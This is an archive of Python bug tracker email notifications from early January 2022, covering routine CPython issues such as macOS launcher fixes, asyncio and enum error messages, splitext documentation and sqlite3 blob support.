https://github.com/python/cpython/commit/b312794de0f78da15593d059f09b4071d95c0d0e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 01:48:29 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 03 Jan 2022 06:48:29 +0000 Subject: [issue40477] Python Launcher app on macOS 10.15+ fails to run scripts In-Reply-To: <1588435279.1.0.0339863635356.issue40477@roundup.psfhosted.org> Message-ID: <1641192509.77.0.309137891288.issue40477@roundup.psfhosted.org> miss-islington added the comment: New changeset 50da397be4f71e5c12759281446b06ce14b6a5c4 by Miss Islington (bot) in branch '3.9': bpo-40477: macOS Python Launcher app fixes for recent macOS releases (GH-30348) https://github.com/python/cpython/commit/50da397be4f71e5c12759281446b06ce14b6a5c4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 01:52:54 2022 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 Jan 2022 06:52:54 +0000 Subject: [issue40477] Python Launcher app on macOS 10.15+ fails to run scripts In-Reply-To: <1588435279.1.0.0339863635356.issue40477@roundup.psfhosted.org> Message-ID: <1641192774.98.0.442564722031.issue40477@roundup.psfhosted.org> Ned Deily added the comment: Thanks, Ronald, for tracking down the NSAppleEventsUsageDescription requirement! The PR here solves two problems encountered by users of the macOS Python Launcher app on recent macOS releases (10.14+): 1. The launcher app was no longer able to launch the macOS Terminal.app to run a script. 2. Even if Terminal.app was already launched, the launcher app was unable to send an Apple Event to Terminal.app to open and run Python with the desired .py file. The solution to item 1 was to no longer specify an absolute path to Terminal.app but rather let LaunchServices figure out the path. Item 2 was fixed by adding the NSAppleEventsUsageDescription key to the launcher app's property list. The first time the launcher runs, macOS displays a message to the user requesting permission to use Apple events; if granted by the user, the launcher will now be able to send open events to Terminal.app and all is well. Tested on the most recent releases of macOS 12, 11, 10.16, 10.15, 10.14, and 10.9 and on both Intel and Apple Silicon Macs. Merged for release in 3.9.10, 3.10.2, and 3.11.0a4. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 01:58:42 2022 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 Jan 2022 06:58:42 +0000 Subject: [issue43122] Python Launcher doesn't open a terminal window In-Reply-To: <1612400615.64.0.789800326005.issue43122@roundup.psfhosted.org> Message-ID: <1641193122.11.0.291923358059.issue43122@roundup.psfhosted.org> Ned Deily added the comment: Thanks for the report. The problem here has finally been resolved in the fixes for Issue40477 which will be released in Python 3.9.9, 3.10.2, and 3.11.0a4. (Unfortunately, Python 3.8 is now in the "security-fix" phase of its release cycle; this issue doesn't qualify as a security problem and, in any case, only source releases are provided in this phase, no binary installers.) ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Python Launcher app on macOS 10.15+ fails to run scripts _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 01:59:18 2022 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 Jan 2022 06:59:18 +0000 Subject: [issue43122] Python Launcher doesn't open a terminal window In-Reply-To: <1612400615.64.0.789800326005.issue43122@roundup.psfhosted.org> Message-ID: <1641193158.91.0.507034752291.issue43122@roundup.psfhosted.org> Ned Deily added the comment: Thanks for the report. The problem here has finally been resolved in the fixes for Issue40477 which will be released in Python 3.9.10, 3.10.2, and 3.11.0a4. (Unfortunately, Python 3.8 is now in the "security-fix" phase of its release cycle; this issue doesn't qualify as a security problem and, in any case, only source releases are provided in this phase, no binary installers.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 01:59:29 2022 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 Jan 2022 06:59:29 +0000 Subject: [issue43122] Python Launcher doesn't open a terminal window In-Reply-To: <1612400615.64.0.789800326005.issue43122@roundup.psfhosted.org> Message-ID: <1641193169.38.0.784934146194.issue43122@roundup.psfhosted.org> Change by Ned Deily : ---------- Removed message: https://bugs.python.org/msg409563 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 02:07:25 2022 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 Jan 2022 07:07:25 +0000 Subject: [issue42657] Python 3.9.1 building process could not use local standard library In-Reply-To: <1608115678.17.0.390785883077.issue42657@roundup.psfhosted.org> Message-ID: <1641193645.93.0.965625283349.issue42657@roundup.psfhosted.org> Ned Deily added the comment: Thanks for the report. Alas, there haven't been any other reports of similar behavior that I am aware of and, without more information, I am unable to reproduce it with the current 3.9 branch. So I am going to close this issue. Feel free to re-open it and provide more detail on exactly how to reproduce the failure if this is still a problem. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 02:27:38 2022 From: report at bugs.python.org (Yassir Karroum) Date: Mon, 03 Jan 2022 07:27:38 +0000 Subject: [issue25927] add dir_fd for mkstemp, and also maybe to all tempfile.* In-Reply-To: <1450814221.93.0.811115775086.issue25927@psf.upfronthosting.co.za> Message-ID: <1641194858.96.0.112585803916.issue25927@roundup.psfhosted.org> Yassir Karroum added the comment: I started looking at this issue. I may need to propagate the change (adding dir_fd as a keyword argument) to multiple functions in posixpath module: Functions like abspath, join, isdir, etc. The alternative will be to have the logic in tempfile module which feels off to me. Does anyone have an issue with that ? ---------- nosy: +ukarroum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 02:45:13 2022 From: report at bugs.python.org (arian-f) Date: Mon, 03 Jan 2022 07:45:13 +0000 Subject: [issue46237] Incorrect line reported in syntax error Message-ID: <1641195913.64.0.431874358772.issue46237@roundup.psfhosted.org> New submission from arian-f : parsing this code results in a syntax error with an incorrect line number - it's always 1 f''' { 1_a }''' resulting in: File "", line 1 ( 1_a ) ^ SyntaxError: invalid decimal literal an analogue error occurs when parsing a file instead of stdin. This bug looks like it's another instance of https://bugs.python.org/issue42209 - I commented there but there was no response for two weeks - I hope it's OK to post a new bug. > python -VV Python 3.10.1 (tags/v3.10.1:2cd268a, Dec 6 2021, 19:10:37) [MSC v.1929 64 bit (AMD64)] ---------- messages: 409567 nosy: arian-f priority: normal severity: normal status: open title: Incorrect line reported in syntax error type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 02:55:44 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 03 Jan 2022 07:55:44 +0000 Subject: [issue46232] Client certificates with UniqueIdentifier in the subject break ssl.peer_certificate() In-Reply-To: <1641160999.16.0.149653140984.issue46232@roundup.psfhosted.org> Message-ID: <1641196544.75.0.969781397659.issue46232@roundup.psfhosted.org> Change by Christian Heimes : ---------- assignee: christian.heimes -> versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 02:59:50 2022 From: report at bugs.python.org (Jonathan Lahav) Date: Mon, 03 Jan 2022 07:59:50 +0000 Subject: [issue46181] Destroying an expaned Combobox prevents Entry focus until Alt+Tab In-Reply-To: <1640521278.35.0.92599921807.issue46181@roundup.psfhosted.org> Message-ID: <1641196790.17.0.845017629882.issue46181@roundup.psfhosted.org> Jonathan Lahav added the comment: Here's a discussion about the issue. I asked about it in comp.lang.tcl: https://groups.google.com/g/comp.lang.tcl/c/C-uQIH-wP5w Someone there explains what's happening. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 03:44:42 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 03 Jan 2022 08:44:42 +0000 Subject: [issue34931] os.path.splitext with more dots In-Reply-To: <1539000361.1.0.545547206417.issue34931@psf.upfronthosting.co.za> Message-ID: <1641199482.13.0.63419476805.issue34931@roundup.psfhosted.org> Serhiy Storchaka added the comment: There are other issues with the documentation of splitext(). 1. It uses term "extension" (it is even a part of function name), but it is vague and usually does not include a period. On Windows the extension of "python.exe" is "exe", not ".exe". On Unix term "suffix" is commonly used, ".exe" is a suffix. It is also used in pathlib. I suggest to replace "extension" with "suffix". 2. It is not specified that only the part of the last path component is included in the suffix, and leading periods of the last path component are ignored, not just leading periods of the path. So splitext('mail.dir/') == ('mail.dir/', '') and splitext('/home/user/.etc') is ('/home/user/.etc', ''). It is not documented that splitext() works with multi-component paths at all. ---------- nosy: +pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 03:50:14 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 03 Jan 2022 08:50:14 +0000 Subject: [issue46232] Client certificates with UniqueIdentifier in the subject break ssl.peer_certificate() In-Reply-To: <1641160999.16.0.149653140984.issue46232@roundup.psfhosted.org> Message-ID: <1641199814.12.0.7687639875.issue46232@roundup.psfhosted.org> Change by Christian Heimes : ---------- keywords: +patch pull_requests: +28564 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30351 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 04:17:22 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 03 Jan 2022 09:17:22 +0000 Subject: [issue46238] Improve constants usage / definition in asyncio.windows_events Message-ID: <1641201442.54.0.841372993832.issue46238@roundup.psfhosted.org> New submission from Nikita Sobolev : There are several problems in https://github.com/python/cpython/blob/549e62827262264cda30455e10e315602129da72/Lib/asyncio/windows_events.py#L31-L32 1. For some reason this module uses both `NULL` and `_winapi.NULL`, `INFINITE` and `_winapi.INFINITE`. There's no system to it. Besides, they are have equal values. I think it better to use aliases to `_winapi` constants than redefine them 2. Here https://github.com/python/cpython/blob/549e62827262264cda30455e10e315602129da72/Lib/asyncio/windows_events.py#L408 `INFINITE` is not used, but should. It would increase readability. Compare: - `def __init__(self, concurrency=0xffffffff):` < not clear - `def __init__(self, concurrency=INFINITE):` < clear The PR is on its way. ---------- components: asyncio messages: 409570 nosy: asvetlov, sobolevn, yselivanov priority: normal severity: normal status: open title: Improve constants usage / definition in asyncio.windows_events type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 04:20:21 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 03 Jan 2022 09:20:21 +0000 Subject: [issue46238] Improve constants usage / definition in asyncio.windows_events In-Reply-To: <1641201442.54.0.841372993832.issue46238@roundup.psfhosted.org> Message-ID: <1641201621.23.0.236238286475.issue46238@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28565 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30352 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 04:58:19 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 03 Jan 2022 09:58:19 +0000 Subject: [issue46239] Incosistent error message in asyncio: windows_events / windows_utils Message-ID: <1641203899.54.0.98561784339.issue46239@roundup.psfhosted.org> New submission from Nikita Sobolev : When trying to import both `windows_events` and `windows_utils` on non-Windows, they both fail. But, they fail differently. `windows_utils` produces a good error message, whil `windows_events` produces a strange one. Good: ``` Python 3.11.0a3+ (heads/main:8d7644fa64, Dec 30 2021, 13:00:40) [Clang 11.0.0 (clang-1100.0.33.16)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import asyncio.windows_utils Traceback (most recent call last): File "", line 1, in File "/Users/sobolev/Desktop/cpython/Lib/asyncio/windows_utils.py", line 6, in raise ImportError('win32 only') ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ImportError: win32 only ``` Not so good: ``` >>> import asyncio.windows_events Traceback (most recent call last): File "", line 1, in File "/Users/sobolev/Desktop/cpython/Lib/asyncio/windows_events.py", line 3, in import _overlapped ^^^^^^^^^^^^^^^^^^ ModuleNotFoundError: No module named '_overlapped' ``` I propose to use the same error message `windows_utils` does. ---------- components: asyncio messages: 409571 nosy: asvetlov, sobolevn, yselivanov priority: normal severity: normal status: open title: Incosistent error message in asyncio: windows_events / windows_utils type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 05:02:01 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 03 Jan 2022 10:02:01 +0000 Subject: [issue46239] Incosistent error message in asyncio: windows_events / windows_utils In-Reply-To: <1641203899.54.0.98561784339.issue46239@roundup.psfhosted.org> Message-ID: <1641204121.01.0.563204354056.issue46239@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28566 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30353 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 05:13:21 2022 From: report at bugs.python.org (=?utf-8?q?J=C3=B6rn_Heissler?=) Date: Mon, 03 Jan 2022 10:13:21 +0000 Subject: [issue41987] singledispatchmethod raises an error when relying on a forward declaration In-Reply-To: <1602274303.54.0.362260014367.issue41987@roundup.psfhosted.org> Message-ID: <1641204801.99.0.535970860094.issue41987@roundup.psfhosted.org> J?rn Heissler added the comment: Hello! git-bisect points at https://bugs.python.org/issue41341 https://github.com/python/cpython/pull/21553 It breaks both the examples from https://bugs.python.org/issue41987#msg379896 and https://bugs.python.org/issue41987#msg380803 ---------- nosy: +joernheissler _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 05:27:26 2022 From: report at bugs.python.org (graysky) Date: Mon, 03 Jan 2022 10:27:26 +0000 Subject: [issue46070] _PyImport_FixupExtensionObject() regression causing a crash in subintepreters In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641205646.88.0.0921157636739.issue46070@roundup.psfhosted.org> graysky added the comment: In reply to the first comment here https://bugs.python.org/issue46070#msg408520 which affects several Kodi plugins, it seems that commenting out lines 80-84 in /usr/lib/python3.10/sqlite3/dbapi2.py "fixes" the bug in python 3.10.1. I do not know if that helps diagnose this future or not. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 05:35:01 2022 From: report at bugs.python.org (=?utf-8?q?Kristj=C3=A1n_Valur_J=C3=B3nsson?=) Date: Mon, 03 Jan 2022 10:35:01 +0000 Subject: [issue18677] Enhanced context managers with ContextManagerExit and None In-Reply-To: <1375885327.18.0.790620363467.issue18677@psf.upfronthosting.co.za> Message-ID: <1641206101.29.0.325471433145.issue18677@roundup.psfhosted.org> Kristj?n Valur J?nsson added the comment: Great throwback. As far as I know, context managers are still not first class citizens. You cannot _compose_ two context managers into a new one programmatically in the language, in the same way that you can, for instance, compose two functions. Not even using "eval()" is this possible. This means that the choice of context manager, or context managers, to be used, has to be known when writing the program. You cannot pass an assembled context manager in as an argument, or otherwise use a "dynamic" context manager at run time, unless you decide to use only a fixed number of nested ones. any composition of context managers becomes syntax _at the point of invocation_. The restriction is similar to not allowing composition of functions, i.e. having to write `fa(fb(fc()))` at the point of invocation and not have the capability of doing ``` def fd(): return fa(fb(fc)) ... fd() ``` I think my "ContextManagerExit" exception provided an elegant solution to the problem and opened up new and exciting possibilities for context managers and how to use them. But this here note is just a lament. I've stopped contributing to core python years ago, because it became more of an excercise in lobbying than anything else. Cheers! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 05:35:46 2022 From: report at bugs.python.org (Eryk Sun) Date: Mon, 03 Jan 2022 10:35:46 +0000 Subject: [issue34931] os.path.splitext with more dots In-Reply-To: <1539000361.1.0.545547206417.issue34931@psf.upfronthosting.co.za> Message-ID: <1641206146.14.0.457237594758.issue34931@roundup.psfhosted.org> Eryk Sun added the comment: > On Windows the extension of "python.exe" is "exe", not ".exe". FWIW, a file extension in Windows includes the dot. Trailing dots are stripped from filenames, so a file can't be named "python." because it's the same as just "python". (It's possible to prevent stripping trailing dots from a name by using a \\?\ literal path, but creating such a filename is a bad idea.) The shell API's file associations include the dot in the file extension. Also, the PATHEXT environment variable (i.e. the list of extensions that a CLI shell should try appending in a PATH search) includes the dot in each extension. In both of the latter cases, an extension that's just "." matches a filename that has no extension. In other words, the "." file extension can be used to associate files that have no extension with a ProgID (i.e. a programmatic identifier, which defines properties and actions for a file type), and adding "." to PATHEXT includes files that have no extension in a PATH search. To clarify further, here are some results from PathCchFindExtension() [1]: import ctypes path = ctypes.OleDLL('api-ms-win-core-path-l1-1-0') s = (ctypes.c_wchar * 100)() ext = ctypes.c_wchar_p() >>> s.value = 'python.exe' >>> _ = path.PathCchFindExtension(s, len(s), ctypes.byref(ext)) >>> ext.value '.exe' >>> s.value = '...exe' >>> _ = path.PathCchFindExtension(s, len(s), ctypes.byref(ext)) >>> ext.value '.exe' >>> s.value = 'python.' >>> _ = path.PathCchFindExtension(s, len(s), ctypes.byref(ext)) >>> ext.value '.' --- [1] https://docs.microsoft.com/en-us/windows/win32/api/pathcch/nf-pathcch-pathcchfindextension ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 06:27:39 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 03 Jan 2022 11:27:39 +0000 Subject: [issue34931] os.path.splitext with more dots In-Reply-To: <1539000361.1.0.545547206417.issue34931@psf.upfronthosting.co.za> Message-ID: <1641209259.97.0.490581689445.issue34931@roundup.psfhosted.org> Serhiy Storchaka added the comment: Well, so we can keep term "extension". But I think it is worth to clarify that "leading periods" is related to the last component, not the whole path. It is related to the original issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 06:32:08 2022 From: report at bugs.python.org (Hugo van Kemenade) Date: Mon, 03 Jan 2022 11:32:08 +0000 Subject: [issue20281] [doc] time.strftime %z format specifier is the same as %Z In-Reply-To: <1389897342.88.0.737767593135.issue20281@psf.upfronthosting.co.za> Message-ID: <1641209528.7.0.102227607255.issue20281@roundup.psfhosted.org> Change by Hugo van Kemenade : ---------- keywords: +patch nosy: +hugovk nosy_count: 6.0 -> 7.0 pull_requests: +28567 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30354 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 06:32:08 2022 From: report at bugs.python.org (Hugo van Kemenade) Date: Mon, 03 Jan 2022 11:32:08 +0000 Subject: [issue29964] [doc] %z directive has no effect on the output of time.strptime In-Reply-To: <1491164378.66.0.775281160942.issue29964@psf.upfronthosting.co.za> Message-ID: <1641209528.84.0.716605451508.issue29964@roundup.psfhosted.org> Change by Hugo van Kemenade : ---------- keywords: +patch nosy: +hugovk nosy_count: 6.0 -> 7.0 pull_requests: +28568 stage: test needed -> patch review pull_request: https://github.com/python/cpython/pull/30354 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 06:36:01 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 03 Jan 2022 11:36:01 +0000 Subject: [issue25927] add dir_fd for mkstemp, and also maybe to all tempfile.* In-Reply-To: <1450814221.93.0.811115775086.issue25927@psf.upfronthosting.co.za> Message-ID: <1641209761.39.0.406463683983.issue25927@roundup.psfhosted.org> Serhiy Storchaka added the comment: I think it is better to not change posixpath for now. And it is not necessary. But shutil.rmtree() needs to support file descriptors, and it is not trivial issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 07:02:24 2022 From: report at bugs.python.org (Andre Roberge) Date: Mon, 03 Jan 2022 12:02:24 +0000 Subject: [issue46240] Incorrect hint about forgetting a comma Message-ID: <1641211344.13.0.594540055552.issue46240@roundup.psfhosted.org> New submission from Andre Roberge : Given the following code containing an unclosed parenthesis: a = (1, 2 b = 3 Here is the resulting SyntaxError: > python ignore.py File "C:\...\ignore.py", line 1 a = (1, 2 ^ SyntaxError: invalid syntax. Perhaps you forgot a comma? This incorrect hint is present in 3.10.1 and 3.11.0a3. ---------- components: Parser messages: 409578 nosy: aroberge, lys.nikolaou, pablogsal priority: normal severity: normal status: open title: Incorrect hint about forgetting a comma versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 07:21:51 2022 From: report at bugs.python.org (=?utf-8?q?Dani=C3=ABl_van_Noord?=) Date: Mon, 03 Jan 2022 12:21:51 +0000 Subject: [issue46241] importlib.utils.find_spec() has issues with "tests" folder Message-ID: <1641212511.26.0.576933804919.issue46241@roundup.psfhosted.org> New submission from Dani?l van Noord : Affected folder structure: ?? module_loader ? ??? __init__.py ??? pyproject.toml ??? setup.cfg ??? tests ??? test_module_loader.py ```console ? cat '/Users/daniel/DocumentenLaptop/Programming/Test/module_loader/module_loader/__init__.py' from importlib import util def load_a_spec(modname): return util.find_spec(modname) ``` ```console ? cat '/Users/daniel/DocumentenLaptop/Programming/Test/module_loader/tests/test_module_loader.py' from module_loader import load_a_spec def test_me(): load_a_spec("tests") ``` When I run `pytest` from within the `module_loader` directory and inspect what `load_a_spec` returns I find that it returns: ModuleSpec(name='tests', loader=<_frozen_importlib_external.SourceFileLoader object at 0x10a4b4820>, origin='/Users/daniel/DocumentenLaptop/Programming/Github/astroid/tests/__init__.py', submodule_search_locations=['/Users/daniel/DocumentenLaptop/Programming/Github/astroid/tests']) It seems to take the `tests` folder from another project, in this case astroid, and returns its spec. This is my `sys.path`, which might be relevant: ```console for i in sys.path:print(i) /Users/daniel/DocumentenLaptop/Programming/Test/module_loader/tests /usr/local/bin /usr/local/Cellar/python at 3.9/3.9.9/Frameworks/Python.framework/Versions/3.9/lib/python39.zip /usr/local/Cellar/python at 3.9/3.9.9/Frameworks/Python.framework/Versions/3.9/lib/python3.9 /usr/local/Cellar/python at 3.9/3.9.9/Frameworks/Python.framework/Versions/3.9/lib/python3.9/lib-dynload /Users/daniel/Library/Python/3.9/lib/python/site-packages /usr/local/lib/python3.9/site-packages /Users/daniel/DocumentenLaptop/Programming/Github/astroid /Users/daniel/DocumentenLaptop/Programming/Github/DanielNoord/docstringformatter /Users/daniel/DocumentenLaptop/Programming/Test/module_loader /usr/local/Cellar/pybind11/2.8.1/libexec/lib/python3.9/site-packages ``` Let me know if I'm doing anything wrong, but I would expect the returned spec to be from `module_loader` instead of another project. ---------- files: module_loader.zip messages: 409579 nosy: brett.cannon, danielnoord priority: normal severity: normal status: open title: importlib.utils.find_spec() has issues with "tests" folder type: behavior versions: Python 3.10 Added file: https://bugs.python.org/file50538/module_loader.zip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 07:34:02 2022 From: report at bugs.python.org (William Navaraj) Date: Mon, 03 Jan 2022 12:34:02 +0000 Subject: [issue26571] turtle regression in 3.5 In-Reply-To: <1458104355.45.0.620158354917.issue26571@psf.upfronthosting.co.za> Message-ID: <1641213242.38.0.166068130553.issue26571@roundup.psfhosted.org> Change by William Navaraj : ---------- nosy: +williamnavaraj nosy_count: 6.0 -> 7.0 pull_requests: +28569 pull_request: https://github.com/python/cpython/pull/30355 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 07:39:29 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 03 Jan 2022 12:39:29 +0000 Subject: [issue24905] Allow incremental I/O to blobs in sqlite3 In-Reply-To: <1440144321.97.0.0781853247945.issue24905@psf.upfronthosting.co.za> Message-ID: <1641213569.88.0.90257811853.issue24905@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +28570 pull_request: https://github.com/python/cpython/pull/30356 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 07:39:43 2022 From: report at bugs.python.org (=?utf-8?q?Dani=C3=ABl_van_Noord?=) Date: Mon, 03 Jan 2022 12:39:43 +0000 Subject: [issue46241] importlib.utils.find_spec() has issues with "tests" folder In-Reply-To: <1641212511.26.0.576933804919.issue46241@roundup.psfhosted.org> Message-ID: <1641213583.47.0.362567676677.issue46241@roundup.psfhosted.org> Change by Dani?l van Noord : ---------- components: +Library (Lib) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 07:44:22 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 03 Jan 2022 12:44:22 +0000 Subject: [issue24905] Allow incremental I/O to blobs in sqlite3 In-Reply-To: <1440144321.97.0.0781853247945.issue24905@psf.upfronthosting.co.za> Message-ID: <1641213862.4.0.659728726201.issue24905@roundup.psfhosted.org> Erlend E. Aasland added the comment: I've submitted my changes as a separate PR. I believe we should consider duplicating the apsw API, for users convenience. Pr. now, they are very similar, except for the "open blob" API: apsw uses `blobopen`, we currently use `open_blob`. I suggest changing it to `blobopen`. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 08:01:10 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 03 Jan 2022 13:01:10 +0000 Subject: [issue46222] posixmodule sendfile FreeBSD's constants update In-Reply-To: <1641058392.04.0.265808726552.issue46222@roundup.psfhosted.org> Message-ID: <1641214870.02.0.30717047288.issue46222@roundup.psfhosted.org> Andrew Svetlov added the comment: New changeset c960b191b8999a9455bb4b2c50dc224d06fee80c by David CARLIER in branch 'main': bpo-46222: posixmodule sendfile FreeBSD's constants updates. (GH-30327) https://github.com/python/cpython/commit/c960b191b8999a9455bb4b2c50dc224d06fee80c ---------- nosy: +asvetlov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 08:01:35 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 03 Jan 2022 13:01:35 +0000 Subject: [issue46222] posixmodule sendfile FreeBSD's constants update In-Reply-To: <1641058392.04.0.265808726552.issue46222@roundup.psfhosted.org> Message-ID: <1641214895.69.0.505935159192.issue46222@roundup.psfhosted.org> Change by Andrew Svetlov : ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 08:11:17 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 03 Jan 2022 13:11:17 +0000 Subject: [issue46181] Destroying an expaned Combobox prevents Entry focus until Alt+Tab In-Reply-To: <1640521278.35.0.92599921807.issue46181@roundup.psfhosted.org> Message-ID: <1641215477.79.0.170286530989.issue46181@roundup.psfhosted.org> Terry J. Reedy added the comment: >From what I understand, this issue is about a somewhat esoteric tk-design or program bug and should be closed as either 'not a bug' or '3rd-party'. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 08:23:31 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 03 Jan 2022 13:23:31 +0000 Subject: [issue46242] Improve error message when creating an enum with `__call__` Message-ID: <1641216211.34.0.269752308501.issue46242@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now when creating a new `Enum`, we check not to extend `Enum` with existing `_member_names_`: ```python Python 3.11.0a3+ (heads/main:8d7644fa64, Dec 30 2021, 13:00:40) [Clang 11.0.0 (clang-1100.0.33.16)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import enum >>> class A(enum.Enum): ... a = 1 ... >>> class B(A): pass ... Traceback (most recent call last): File "", line 1, in File "/Users/sobolev/Desktop/cpython/Lib/enum.py", line 398, in __prepare__ metacls._check_for_existing_members(cls, bases) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/enum.py", line 850, in _check_for_existing_members raise TypeError( ^^^^^^^^^^^^^^^^ TypeError: B: cannot extend enumeration 'A' ``` But when we try to use `A()` call to do the same, where what happens: ``` Python 3.11.0a3+ (heads/main:8d7644fa64, Dec 30 2021, 13:00:40) [Clang 11.0.0 (clang-1100.0.33.16)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import enum >>> class A(enum.Enum): ... a = 1 ... >>> B = A('B', 'b') Traceback (most recent call last): File "", line 1, in File "/Users/sobolev/Desktop/cpython/Lib/enum.py", line 606, in __call__ return cls._create_( ^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/enum.py", line 770, in _create_ _, first_enum = cls._get_mixins_(class_name, bases) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/enum.py", line 899, in _get_mixins_ raise TypeError('Cannot extend enumerations') ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ TypeError: Cannot extend enumerations ``` I propose to use the first error message in this case as well. Moreover, this behavior is not covered with tests: ``` ? ag 'Cannot extend enumerations' Lib/enum.py 899: raise TypeError('Cannot extend enumerations') ``` I will add tests for this edge case. ---------- components: Library (Lib) messages: 409583 nosy: ethan.furman, pablogsal, sobolevn priority: normal severity: normal status: open title: Improve error message when creating an enum with `__call__` type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 08:34:30 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 03 Jan 2022 13:34:30 +0000 Subject: [issue46242] Improve error message when creating an enum with `__call__` In-Reply-To: <1641216211.34.0.269752308501.issue46242@roundup.psfhosted.org> Message-ID: <1641216870.14.0.372950636556.issue46242@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28571 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30357 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 09:13:51 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 03 Jan 2022 14:13:51 +0000 Subject: [issue24905] Allow incremental I/O to blobs in sqlite3 In-Reply-To: <1440144321.97.0.0781853247945.issue24905@psf.upfronthosting.co.za> Message-ID: <1641219231.45.0.0749793778782.issue24905@roundup.psfhosted.org> Erlend E. Aasland added the comment: The diff is pretty heavy, here's the diffstat: 17 files changed, 1362 insertions(+), 7 deletions(-) It will be hard to find reviewers for such a large PR. I suggest to remove mapping support and context manager support for now, and then add those features in separate PR's. ---------- _______________________________________ 